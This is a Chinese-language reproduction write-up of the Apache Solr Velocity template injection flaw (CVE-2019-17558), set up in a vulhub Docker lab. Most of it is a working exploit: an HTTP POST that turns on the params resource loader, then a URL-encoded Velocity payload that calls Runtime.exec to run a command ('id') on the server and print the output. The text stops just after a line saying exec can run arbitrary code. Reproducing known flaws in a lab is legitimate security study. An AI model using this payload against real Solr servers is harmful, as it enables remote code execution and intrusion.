漏洞复现
Apache Solr Velocity 注入远程命令执行漏洞复现
一、漏洞概述
Apache Solr 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。
二、漏洞复现
-
使用vulhub中CVE-2019-17558的环境进行搭建
https://vulhub.org/#/environments/solr/CVE-2019-0193/
目录:solr/CVE-2019-17558
执行如下命令启动一个Apache Solr 8.2.0服务器:docker-compose up -d
-
利用默认的demo
查看到默认情况下params.resource.loader.enabled
配置未打开,无法使用自定义模板。需要先通过如下API获取所有的核心:
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
- 查看demo配置
通过如下请求开启params.resource.loader.enabled
,其中API路径包含刚才获取的core名称:
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
查看demo的配置:params.resource.loader.enabled
已经开启
- 注入Velocity模板即可执行任意命令
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
在exec函数里可以执行任意代码: